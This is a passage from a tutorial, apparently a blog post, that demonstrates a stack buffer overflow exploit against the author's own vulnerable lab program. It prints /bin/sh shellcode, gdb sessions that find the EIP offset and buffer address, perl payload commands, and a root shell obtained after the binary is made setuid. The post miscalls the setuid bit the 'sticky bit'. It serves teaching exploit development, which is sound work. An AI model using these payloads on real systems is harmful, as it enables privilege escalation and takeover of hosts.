In the previous article, we explained the simplest way to manipulate the stack thanks to a programming error. This way, we managed to make the program return from a function to a memory address that was not correct. But why not make it more interesting and make that memory address contain code that can be useful to us? In our example, it will be a shell, so by exploiting the bug, we will obtain a shell with the user with which the software was running. To make it more impactful, we will assign it the sticky bit, so we will obtain a root shell.
Continuing with the previous example, we have a software that does not check user input. Thanks to this error, we could overwrite the value of the EIP on the stack. When returning from the vulnerable function, we ended up executing the function again and performing two printfs on the screen. Now we are going to use the input variable to leave what is called shellcode in a certain position on the stack. This is the useful code that we want to execute. We will leave the way to generate a shellcode for later, but we can find a great repertoire here .
The chosen shellcode is:
x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80
We already have our shellcode, but we still have a problem to solve. In which memory address does ESP start, where we will leave our shellcode? The value of ESP is not exactly where our variable starts, but an approximate value. To find out for sure, we will use gdb:
Gdb allows us to visualize the values of memory addresses at all times. What we are going to do is set a breakpoint just before and after copying the variable. This way, we can see our input in the memory addresses close to ESP and know at which address the variable starts. This way, we will overwrite the EIP with that value and execute the shellcode when returning from the function:
(gdb) set disassembly-flavor intel
(gdb) disassemble func
Dump of assembler code for function func:
0x080484ac <+0>: push ebp
0x080484ad <+1>: mov ebp,esp
0x080484af <+3>: sub esp,0x38
0x080484b2 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x080484b5 <+9>: mov DWORD PTR [esp+0x4],eax
0x080484b9 <+13>: lea eax,[ebp-0x28]
0x080484bc <+16>: mov DWORD PTR [esp],eax
0x080484bf <+19>: call 0x8048370 <strcpy@plt>
0x080484c4 <+24>: lea eax,[ebp-0x28]
0x080484c7 <+27>: mov DWORD PTR [esp+0x4],eax
0x080484cb <+31>: mov DWORD PTR [esp],0x80485c0
0x080484d2 <+38>: call 0x8048360 <printf@plt>
0x080484d7 <+43>: leave
0x080484d8 <+44>: ret
End of assembler dump.
(gdb) break *func+19
Breakpoint 1 at 0x80484bf
(gdb) break *func+24
Breakpoint 2 at 0x80484c4
(gdb) run `perl -e 'print "A"x48'`
Starting program: /home/kr0m/overrun `perl -e 'print "A"x48'`
Breakpoint 1, 0x080484bf in func ()
(gdb) x/16x $esp
0xbffff700: 0xbffff710 0xbffff93c 0xbffff727 0x00000001
0xbffff710: 0x00000000 0xbffff7b0 0xb7fd6ce0 0x08048334
0xbffff720: 0xb7ff0590 0x080497bc 0xbffff758 0x0804858b
0xbffff730: 0x00000002 0xbffff804 0xbffff758 0x08048519
(gdb) c
Continuing.
Breakpoint 2, 0x080484c4 in func ()
(gdb) x/16x $esp
0xbffff700: 0xbffff710 0xbffff93c 0xbffff727 0x00000001
0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141
With this, we have obtained the memory address of the beginning of our variable, where we want to store our shellcode.
(gdb) c
Continuing.
Alfaexploit overrun proof of concept, welcome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) delete breakpoints
(gdb) run `perl -e 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"'`
Starting program: /home/kr0m/overrun `perl -e 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"'`
Alfaexploit overrun proof of concept, welcome: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x4c4c4c4c in ?? ()
In hexadecimal 4c –> LLLL, we look for the address where the data that overwrites the EIP is located:
(gdb) x/32x $esp-32
0xbffff6f0: 0x45454545 0x46464646 0x47474747 0x48484848
0xbffff700: 0x49494949 0x4a4a4a4a 0x4b4b4b4b 0x4c4c4c4c
0xbffff710: 0x4d4d4d4d 0x4e4e4e4e 0x4f4f4f4f 0x50505050
0xbffff720: 0x51515151 0x52525252 0x53535353 0x54545454
0xbffff730: 0x55555555 0x56565656 0x57575757 0x58585858
0xbffff740: 0x59595959 0x5a5a5a5a 0xb7ffef00 0x080482a1
0xbffff750: 0x00000001 0xbffff790 0xb7fefc16 0xb7fffac0
0xbffff760: 0xb7fe0b58 0xb7fd5ff4 0x00000000 0x00000000
(gdb) x/x 0xbffff70c
0xbffff70c: 0x4c4c4c4c
It is in this memory position where we must leave the value of the address of the beginning of our variable, where our shellcode will be. There are 44 chars from AAAA to KKKK, our shellcode occupies 23, so we need 21 padding: 21+23=44. Next, we put the address where our shellcode is located. This way, when it returns, it will execute that shellcode.
If we run the program from the debugger, it will offer us a shell, but if we do it from outside, it won’t. This is because gdb starts it with the full path, so the environment variables are different from when it is executed from the relative path. Since they are different, they occupy different sizes and the memory positions change:
(gdb) run `perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kr0m/overrun `perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'`
Alfaexploit overrun proof of concept, welcome: 1É1À1?
Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿
process 3544 is executing new program: /bin/dash
$
However, from outside:
perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'
Alfaexploit overrun proof of concept, welcome: 1É1À1?
Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿
Violación de segmento
To find out the value from outside the debugger, we must enable the core dumps or follow this
second
procedure using the external tool botox, but I prefer to do it with the core:
We launch the program with a fair input to overwrite the value of EIP:
perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'
Alfaexploit overrun proof of concept, welcome: 1É1À1?
Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿
Violación de segmento (`core' generado)
We start the debugger with the core:
[New LWP 3554]
Core was generated by `./overrun 1É1À1?
Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿'.
Program terminated with signal 11, Segmentation fault.
#0 0xbffff710 in ?? ()
We know that our input must be near ESP, that’s where our shellcode will start:
(gdb) x/50x $esp-50
0xbffff74e: 0xc9310000 0xd231c031 0x68510bb0 0x68732f2f
0xbffff75e: 0x69622f68 0xcde3896e 0x41414180 0x41414141
0xbffff76e: 0x41414141 0x41414141 0x41414141 0xf7104141
0xbffff77e: 0xf900bfff 0x0590bfff 0x854bb7ff 0x5ff40804
0xbffff78e: 0x8540b7fd 0x00000804 0xf8180000 0xce66bfff
0xbffff79e: 0x0002b7e8 0xf8440000 0xf850bfff 0x0860bfff
0xbffff7ae: 0x6821b7fe 0xffffb7ff 0xeff4ffff 0x82a1b7ff
0xbffff7be: 0x00010804 0xf8000000 0xfc16bfff 0xfac0b7fe
0xbffff7ce: 0x0b58b7ff 0x5ff4b7fe 0x0000b7fd 0x00000000
0xbffff7de: 0xf8180000 0xa167bfff 0xb777c4ae 0x0000eadd
0xbffff7ee: 0x00000000 0x00000000 0x00020000 0x83c00000
0xbffff7fe: 0x00000804 0x59c00000 0xcd8bb7ff 0xeff4b7e8
0xbffff80e: 0x0002b7ff 0x83c00000
We can see our shellcode, we get the exact address with:
(gdb) x/x 0xbffff750
0xbffff750: 0xc031c931
0xbffff750 is the memory address where EIP should point!!
As we mentioned in the introduction of the article, we are going to run the software with a regular user, we will assign the
stickybit
in the vulnerable software, so at the time of exploitation, it will have root permissions and the shell it offers us will be root ;)
su
chown root:root overrun
chmod 4771 overrun
kr0m@reversedbox:~$ whoami
kr0m
uid=1000(kr0m) gid=1000(kr0m) groups=1000(kr0m),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x50xf7xffxbf"'
Alfaexploit overrun proof of concept, welcome: 1É1À1?
Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAAP÷ÿ¿
root
uid=1000(kr0m) gid=1000(kr0m) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(kr0m)
#
As you can see, a programming error in a daemon running as root can be very serious. From there, an attacker would be able to do whatever they wanted with the OS, trojanize it, install rootkits, etc.